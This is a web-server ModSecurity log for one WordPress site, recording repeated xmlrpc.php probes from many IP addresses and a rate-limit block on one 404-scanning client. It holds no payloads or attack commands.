[Thu Apr 16 04:39:32.936300 2026] [:error] [pid 57639:tid 57668] [client 173.249.55.89:48626] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_3hKMCQoTw7TsxWumhGQAAANY"]
[Thu Apr 16 04:43:38.690558 2026] [:error] [pid 29603:tid 29611] [client 212.55.193.47:58072] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_4elfGOR6fpTWUAzqBzgAAAQY"]
[Thu Apr 16 04:44:49.012146 2026] [:error] [pid 57639:tid 57657] [client 156.67.24.219:43498] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_4waMCQoTw7TsxWumjeQAAAMs"]
[Thu Apr 16 04:47:26.920302 2026] [:error] [pid 29603:tid 29606] [client 185.98.139.110:51072] [client 185.98.139.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_5XlfGOR6fpTWUAzqEnQAAAQE"]
[Thu Apr 16 04:55:07.010011 2026] [:error] [pid 57537:tid 57599] [client 35.201.138.245:56459] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_7K1VQRS8nm73ENAkbaAAAAFg"]
[Thu Apr 16 04:55:09.668811 2026] [:error] [pid 57639:tid 57665] [client 82.223.24.195:56898] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_7LaMCQoTw7TsxWummSgAAANM"]
[Thu Apr 16 04:55:47.255360 2026] [:error] [pid 57538:tid 57605] [client 143.198.154.102:40368] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_7U8uMaiEF5SVR2BcM_QAAAIM"]
[Thu Apr 16 04:55:47.257097 2026] [:error] [pid 57538:tid 57605] [client 143.198.154.102:40368] [client 143.198.154.102] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_7U8uMaiEF5SVR2BcM_QAAAIM"]
[Thu Apr 16 04:55:47.258356 2026] [:error] [pid 57538:tid 57605] [client 143.198.154.102:40368] [client 143.198.154.102] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_7U8uMaiEF5SVR2BcM_QAAAIM"]
[Thu Apr 16 04:58:55.708817 2026] [:error] [pid 57538:tid 57616] [client 68.183.124.132:35338] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_8D8uMaiEF5SVR2BcQFAAAAI4"]
[Thu Apr 16 05:01:07.780396 2026] [:error] [pid 57537:tid 57586] [client 85.128.143.134:58486] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_8k1VQRS8nm73ENAkedAAAAEs"]
[Thu Apr 16 05:03:16.827308 2026] [:error] [pid 57538:tid 57615] [client 103.186.241.154:63408] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_9FMuMaiEF5SVR2BcUAwAAAI0"]
[Thu Apr 16 05:06:52.132276 2026] [:error] [pid 57536:tid 57560] [client 144.217.252.106:47638] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_97CQU4faGja6jpDtyZgAAAAw"]
[Thu Apr 16 05:07:35.614450 2026] [:error] [pid 29603:tid 29607] [client 103.186.241.154:9536] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_-F1fGOR6fpTWUAzqVrQAAAQI"]
[Thu Apr 16 05:10:20.891872 2026] [:error] [pid 29603:tid 29612] [client 141.94.18.111:52006] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_-vFfGOR6fpTWUAzqXugAAAQc"]
[Thu Apr 16 05:12:50.603676 2026] [:error] [pid 29603:tid 29617] [client 148.251.46.181:52104] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad__UlfGOR6fpTWUAzqZpwAAAQw"]
[Thu Apr 16 05:15:15.857038 2026] [:error] [pid 29603:tid 29625] [client 194.164.91.114:41224] [client 194.164.91.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.91.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad__41fGOR6fpTWUAzqcbwAAARQ"]
[Thu Apr 16 05:18:27.961032 2026] [:error] [pid 29603:tid 29628] [client 107.180.249.30:51708] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAAo1fGOR6fpTWUAzqftAAAARc"]
[Thu Apr 16 05:18:59.625977 2026] [:error] [pid 57537:tid 57585] [client 78.47.118.248:53746] [client 78.47.118.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.118.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAAw1VQRS8nm73ENAkjbwAAAEo"]
[Thu Apr 16 05:21:11.737714 2026] [:error] [pid 57538:tid 57610] [client 15.235.224.64:42212] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeABR8uMaiEF5SVR2BceuQAAAIg"]
[Thu Apr 16 05:27:57.822957 2026] [:error] [pid 57538:tid 57602] [client 5.135.139.120:47264] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.139.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAC3cuMaiEF5SVR2Bcj9wAAAIA"]
[Thu Apr 16 05:33:45.389699 2026] [:error] [pid 29603:tid 29618] [client 51.159.190.214:44304] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAEOVfGOR6fpTWUAzqvHAAAAQ0"]
[Thu Apr 16 05:38:23.244658 2026] [:error] [pid 57537:tid 57577] [client 5.135.139.120:36210] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.139.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAFT1VQRS8nm73ENAkqEAAAAEI"]
[Thu Apr 16 05:38:30.001167 2026] [:error] [pid 29603:tid 29623] [client 165.22.37.239:44546] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAFVlfGOR6fpTWUAzqxNAAAARI"]
[Thu Apr 16 05:38:45.932566 2026] [:error] [pid 57639:tid 57652] [client 51.75.54.138:39464] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAFZaMCQoTw7TsxWum9nAAAAMY"]
[Thu Apr 16 05:38:52.152556 2026] [:error] [pid 29603:tid 29615] [client 72.14.187.140:43766] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAFbFfGOR6fpTWUAzqxmQAAAQo"]
[Thu Apr 16 05:39:10.305050 2026] [:error] [pid 57639:tid 57657] [client 4.240.89.23:45564] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAFfqMCQoTw7TsxWum9wwAAAMs"]
[Thu Apr 16 05:41:07.676133 2026] [:error] [pid 29603:tid 29617] [client 162.222.34.234:55280] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAF81fGOR6fpTWUAzqzCgAAAQw"]
[Thu Apr 16 05:41:54.467395 2026] [:error] [pid 57538:tid 57616] [client 85.128.143.145:55302] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAGIsuMaiEF5SVR2BcpXgAAAI4"]
[Thu Apr 16 05:43:19.239262 2026] [:error] [pid 49094:tid 49114] [client 35.201.138.245:52136] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAGdzbDwvcXorHR_Mx3WgAAAVI"]
[Thu Apr 16 05:44:06.060013 2026] [:error] [pid 49094:tid 49102] [client 23.98.148.92:56604] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAGpjbDwvcXorHR_Mx36QAAAUY"]
[Thu Apr 16 05:47:20.167146 2026] [:error] [pid 57536:tid 57566] [client 104.208.160.135:36144] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAHaCQU4faGja6jpDt7XwAAABI"]
[Thu Apr 16 05:58:06.904400 2026] [:error] [pid 49094:tid 49100] [client 190.121.23.218:53430] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAJ7jbDwvcXorHR_MyAdgAAAUQ"]
[Thu Apr 16 06:03:04.015224 2026] [:error] [pid 29603:tid 29627] [client 209.42.18.249:54936] [client 209.42.18.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.42.18.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeALGFfGOR6fpTWUAzq8XQAAARY"]
[Thu Apr 16 06:03:15.707002 2026] [:error] [pid 49094:tid 49105] [client 40.115.139.4:4335] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "aeALIzbDwvcXorHR_MyCTQAAAUk"]
[Thu Apr 16 06:03:16.190066 2026] [:error] [pid 29603:tid 29616] [client 40.115.139.4:3264] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "aeALJFfGOR6fpTWUAzq8egAAAQs"]
[Thu Apr 16 06:03:16.682547 2026] [:error] [pid 29603:tid 29620] [client 40.115.139.4:4331] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "aeALJFfGOR6fpTWUAzq8ewAAAQ8"]
[Thu Apr 16 06:03:17.161452 2026] [:error] [pid 29603:tid 29627] [client 40.115.139.4:3270] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "aeALJVfGOR6fpTWUAzq8fQAAARY"]
[Thu Apr 16 06:04:25.907180 2026] [:error] [pid 49094:tid 49109] [client 160.250.187.3:33602] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeALaTbDwvcXorHR_MyChgAAAU0"]
[Thu Apr 16 06:05:33.731301 2026] [:error] [pid 57538:tid 57623] [client 85.214.232.59:53654] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeALrcuMaiEF5SVR2Bcw4AAAAJU"]
[Thu Apr 16 06:06:14.372342 2026] [:error] [pid 49094:tid 49098] [client 147.182.180.16:56300] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAL1jbDwvcXorHR_MyDjgAAAUI"]
[Thu Apr 16 06:08:34.184021 2026] [:error] [pid 57538:tid 57616] [client 147.45.149.57:45378] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAMYsuMaiEF5SVR2BcxjwAAAI4"]
[Thu Apr 16 06:09:34.447587 2026] [:error] [pid 49094:tid 49101] [client 51.68.74.67:35404] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAMnjbDwvcXorHR_MyFXgAAAUU"]
[Thu Apr 16 06:09:42.656693 2026] [:error] [pid 57536:tid 57553] [client 159.89.50.224:55118] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAMpiQU4faGja6jpDt9YAAAAAU"]
[Thu Apr 16 06:13:35.640070 2026] [:error] [pid 29603:tid 29622] [client 84.201.130.79:52354] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeANj1fGOR6fpTWUAzrAEgAAARE"]
[Thu Apr 16 06:13:49.584820 2026] [:error] [pid 49094:tid 49118] [client 148.113.202.220:55410] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeANnTbDwvcXorHR_MyHfAAAAVY"]
[Thu Apr 16 06:13:58.006367 2026] [:error] [pid 49094:tid 49101] [client 66.70.178.228:43238] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeANpjbDwvcXorHR_MyHlQAAAUU"]
[Thu Apr 16 06:14:06.185324 2026] [:error] [pid 49094:tid 49113] [client 85.10.187.189:56512] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeANrjbDwvcXorHR_MyHqAAAAVE"]
[Thu Apr 16 06:15:11.951542 2026] [:error] [pid 57538:tid 57612] [client 85.128.143.123:55566] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAN78uMaiEF5SVR2BczOAAAAIo"]
[Thu Apr 16 06:16:55.560015 2026] [:error] [pid 57536:tid 57549] [client 103.80.48.225:57708] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAOVyQU4faGja6jpDt-OAAAAAE"]
[Thu Apr 16 06:18:49.474662 2026] [:error] [pid 57538:tid 57624] [client 141.95.66.91:38102] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAOycuMaiEF5SVR2Bc0PAAAAJY"]
[Thu Apr 16 06:19:42.405810 2026] [:error] [pid 49094:tid 49104] [client 185.252.234.215:39608] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAO_jbDwvcXorHR_MyKswAAAUg"]
[Thu Apr 16 06:20:42.483626 2026] [:error] [pid 57537:tid 57575] [client 67.205.159.76:25588] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAPOlVQRS8nm73ENAkx3gAAAEA"]
[Thu Apr 16 06:21:21.755704 2026] [:error] [pid 57538:tid 57607] [client 66.29.147.6:40952] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAPYcuMaiEF5SVR2Bc0sQAAAIU"]
[Thu Apr 16 06:22:20.593311 2026] [:error] [pid 57639:tid 57670] [client 176.96.136.90:40098] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAPnKMCQoTw7TsxWunHzgAAANg"]
[Thu Apr 16 06:24:18.494012 2026] [:error] [pid 29603:tid 29614] [client 178.62.32.109:42878] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAQElfGOR6fpTWUAzrERwAAAQk"]
[Thu Apr 16 06:28:08.797342 2026] [:error] [pid 57639:tid 57647] [client 35.201.138.245:37905] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAQ-KMCQoTw7TsxWunI5QAAAME"]
